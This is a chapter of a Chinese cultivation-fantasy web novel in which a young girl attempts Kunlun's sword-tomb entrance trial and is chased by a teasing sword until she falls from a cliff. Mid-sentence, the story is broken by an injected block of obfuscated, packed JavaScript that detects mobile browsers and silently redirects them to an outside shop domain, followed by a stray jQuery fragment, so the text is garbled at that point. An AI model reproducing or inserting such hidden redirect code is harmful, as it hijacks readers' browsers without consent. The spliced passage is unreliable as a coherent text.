仲夏之月,是国修院出学的日子。于是到了每年的六、七月,天下但凡有名气的修真门派,都少不得忙碌起来。
只因为每每到这个时候,上门求学的子弟一抓一大把,良莠不齐,好坏参半。
且越是顶级门派收弟子的条件越是挑剔。如昆仑这般炙手可热的剑宗,光是入山报名这一关,就已经筛选掉一大半的学子了。
无他,昆仑山上设有禁制阵法,一旦入昆仑,五行灵力被压制,连最基本的御风飞行都做不到。更何况昆仑雪白茫茫,极容易迷失其中。
这时也不必惊慌,但凡入山之人心智不坚,心生退意,当他决定回头下山的那一刻,自有一条出山路铺在脚下。
而若只是考验心性就能上山入昆仑,哪未免也有点太简单了。
这世上最不缺的,便是一根筋一头热一条道上走到黑的愚者。昆仑显然不愿意误人子弟,天资,依然排在首位。
所以昆仑设下了一道天下皆知的入山考验:
问剑。
昆仑山上有一万剑冢,与剑有缘的人,万剑冢的剑灵便会冥冥之中召唤你。当你跟随着这股心里指引和召唤,从万剑冢中带出那把剑时,这道考验,才算过了。
如此,才有资格拿着剑,到昆仑山之巅的太阳殿,找到那里负责入门事宜的执事长老报道。
昆仑山绵延起伏,卧如雪龙。昆仑山脚下的车队长得几乎快要与昆仑山头挨着头,脚挨着脚。
昆仑之大,上山问剑的路不止一条。但唯有一条,是昆仑特意为昆仑子弟家属探亲所开放。这条小路处在昆仑山脉不起眼的尾部,并且有专门的看门弟子值班。
但凡昆仑子弟交代过的家属,只需要在他那里报上名号,便能通过这条小路,畅通无阻地进入昆仑。
但也仅限如此,拜师的话,此路不通。
所以没人管这条小路。
而这位看门弟子近来也有些发愁。因为最近门中那位号称天之骄子、千年难遇的天剑骨奇才、掌门的小弟子,日日让云鸢发来信条。
吾妹到否?吾妹到否?吾妹到否?
看门弟子很纳闷,一连六七日过去了,他也没听过有个叫虞杳的家属来他这里报道呀?
此时此刻,这位叫虞杳的家属,正在昆仑雪山中,被一桩大麻烦追杀得昏天黑地。
事情是这样的。
三日前,虞家的马车便已经将她送到了昆仑山脚。而她并没有走家属通道,跟在一支瞧着就很厉害的队伍后面,进了雪山。
对方见她孤身一人,又年纪相仿,她又是个容貌姣美的小女孩,很容易让人心生好感。在不知道她是凡骨的前提下,对方不仅没有驱逐她,反而主动邀请她加入小团体。
虞杳自是欢喜。毕竟能抱团取暖,谁又会喜欢当一匹孤狼呢?
这支小队总共四人,两男两女,来自南方云州的一个小城镇。得知她来自王都所在的邕州时,更为热情,不停地向她打听王都的风土人情。
虞杳一一作答。寻思大概小城镇的孩子对大城市总有一种莫名的向往吧。
就这样在雪山里兜转了两天,一行人灰头土脸,体内灵力也快要耗尽,也没有找到剑冢。他们都在考虑着要不要下山时,其中一名少年却忽然神秘兮兮地取出一个罗盘。
号称这是他家祖传的宝贝,名为天眼通。
只需要用足够的灵力催动,罗盘上的眼珠便会朝着有生灵的地方靠拢。
有点像家乡里那种治病的土方子,几个少年少女围坐一团,竟是死马当活马医,将身上仅剩的灵力全部注入罗盘。
虞杳也配合地注入了一些。没办法,这种时候不合群的话,会被鄙视踢出队伍的。只能赌一把了。
万一呢?
于是众人跟着天眼通的指引,还真让他们走进了那片万剑冢。风雪巍巍,剑光长啸。众人还没来得及震撼万剑冢的辉煌和浩然,有人便手欠地摸了一把看起来就极为锋利凶残的宝剑,悲剧就这么发生了。
作弊的人,是要受到惩罚的。
当一把剑开始愤怒震颤的时候,万剑冢里绝大部分的剑也都发起了共鸣。
像是没被它们选中的人,不配碰它们高贵的剑身,仿佛连多看它们一眼都是一种亵渎。
于是,几个少年少女一哄而散,被一群剑追得屁滚尿流,哭爹喊娘地往山下跑。
虞杳要比他们强上一些,即便被一堆剑追得在雪地里打滚,摔倒,满身狼狈,也半点没有生出下山的心思。
如今她便被追上了一处山崖,一炳寒光泠冽的剑锋正指着她。
前有剑,后是崖。
她往左偏,剑便往左;她往右偏,剑便往右。
万剑冢里的剑性格迥异。有的剑杀伐果决,有的剑沉静内敛,有的剑端庄孤傲……而追着虞杳的这把剑,显然很贱。
追了她一路,每每要一剑劈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836920|211472||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下的时候,总会后退等两下,给虞杳灰头土脸从雪地里爬起来的喘息时间,再继续气势汹汹追杀她。
仿佛就喜欢看她被吓得花容失色,跑得东倒西歪的模样。然后在半空中乐呵地摇晃着剑身。
若剑能发出声音,那必是何等开怀的嘲笑。
而现在,这把剑显然也在逗虞杳。将她逼到山崖处,既不急着进攻,也不给她留有退路。
然而只要虞杳大喊一声,她要下山。好歹是昆仑正道的剑,再凶残也不至于真闹出人命,只要她起了放弃的心思,剑便会索然无味回到剑冢,放过她。
要喊吗?
虞杳死死盯着剑尖的一点银光。
这把剑将她逼到这里,不就是想让她服输吗?
退不能退,那她是否就只剩下一条路?
不作犹豫,虞杳足尖一踢,脚下的雪粒猝然如碎石般迸射而飞,朝着剑铺洒而去。此剑反应也快,横扫出一道剑气,纷纷雪粒顿时如瀑花般炸开。
就是现在!
洋洋洒洒的尘雪之中,虞杳聚精会神,调动体内那点微薄的灵力汇聚于双掌,穿雪往剑扑去。
既然跑不掉,那就迎难而上好了!
双掌啪地一下夹住剑身,灵力消磨片刻锋利的剑气。虞杳浑身都在发力,想要凭借自己的力量折断这把剑。
然而剑发出细细的颤栗,像是在生气:自己堂堂昆仑之剑,竟然差点被一个废骨少女给折辱了!
剑甫一发怒,剑气浩然而出,荡起四面雪雾飓风。
虞杳便被这股飓风卷入,在风雪中被甩得晕头转向,五脏六腑翻天覆地,一阵想吐。
剑不想伤害她,只给她一个选择:松手,滚出昆仑。
虞杳也只有一个选择:咬牙,死不放手。
不仅不放手,甚至还调动体内最后的灵力,抵御一瞬的飓风,一只手掌弯曲,握住剑身,利刃瞬间划破手掌,血气弥漫。
剑抖动抗拒得越发凶猛。虞杳忍住痛,在这一瞬间,将剑往回一拖,另一手方一艰难握上剑柄,天真地想要掌控这把剑时,此剑却被她一碰,仿佛跟失去贞洁的烈女一般,发了疯。
带着虞杳上天入地乱蹿。高速的旋转飞跃,虞杳只觉得自己活像进了洗衣机。
呕……
灵力耗尽,身体撑到了极限,手臂脱力,整个人像一片海浪上的扁舟,被甩飞了出去。
从山崖上一坠而下。